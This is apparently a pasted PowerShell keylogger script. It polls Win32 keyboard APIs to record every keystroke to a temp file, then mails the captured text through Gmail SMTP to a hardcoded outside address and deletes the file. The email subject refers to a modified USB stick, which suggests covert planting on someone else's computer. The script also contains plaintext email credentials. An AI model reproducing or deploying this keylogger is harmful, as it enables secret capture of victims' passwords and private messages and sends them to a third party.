· 6 years ago · Jan 05, 2020, 12:38 PM
1function Start-KeyLogger($Path="$env:temp\keylogger.txt")
2{
3 # Signatures for API Calls
4 $signatures = @'
5[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
6public static extern short GetAsyncKeyState(int virtualKeyCode);
7[DllImport("user32.dll", CharSet=CharSet.Auto)]
8public static extern int GetKeyboardState(byte[] keystate);
9[DllImport("user32.dll", CharSet=CharSet.Auto)]
10public static extern int MapVirtualKey(uint uCode, int uMapType);
11[DllImport("user32.dll", CharSet=CharSet.Auto)]
12public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
13'@
14
15 # load signatures and make members available
16 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
17
18 # create output file
19 $null = New-Item -Path $Path -ItemType File -Force
20
21 try
22 {
23 Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
24 #please specify time and default is 30 seconds
25 $time = 0
26 while($time -lt 3000) {
27
28 $time
29 $time++
30 Start-Sleep -Milliseconds 2
31
32 # scan all ASCII codes above 8
33 for ($ascii = 9; $ascii -le 254; $ascii++) {
34 # get current key state
35 $state = $API::GetAsyncKeyState($ascii)
36
37 # is key pressed?
38 if ($state -eq -32767) {
39 $null = [console]::CapsLock
40
41 # translate scan code to real code
42 $virtualKey = $API::MapVirtualKey($ascii, 3)
43
44 # get keyboard state for virtual keys
45 $kbstate = New-Object Byte[] 256
46 $checkkbstate = $API::GetKeyboardState($kbstate)
47
48 # prepare a StringBuilder to receive input key
49 $mychar = New-Object -TypeName System.Text.StringBuilder
50
51 # translate virtual key
52 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
53
54 if ($success)
55 {
56 # add key to logger file
57 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
58 }
59 }
60 }
61 }
62 }
63 finally
64 {
65 # please specify your email info and don't forgot to enable less secured apps in gmail
66
67 $data = Get-Content "$Path"
68 $emailto = 'manueyyy@gmail.com'
69 $email = 'alienexe199702@gmail.com'
70 $SMTPServer = 'smtp.gmail.com'
71 $SMTPPort = '587'
72 $Password = 'AlienExe'
73 $subject = 'Diese Nachricht wurde mit einem Modifizierten USB-Stick gesendet'
74 $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
75 $smtp.EnableSSL = $true
76 $smtp.Credentials = New-Object System.Net.NetworkCredential($email, $Password);
77 $smtp.Send($email, $emailto, $subject, $data);
78 Remove-Item $path
79
80 }
81}
82
83# records all key presses until script is aborted by pressing CTRL+C
84# will then open the file with collected key codes
85Start-KeyLogger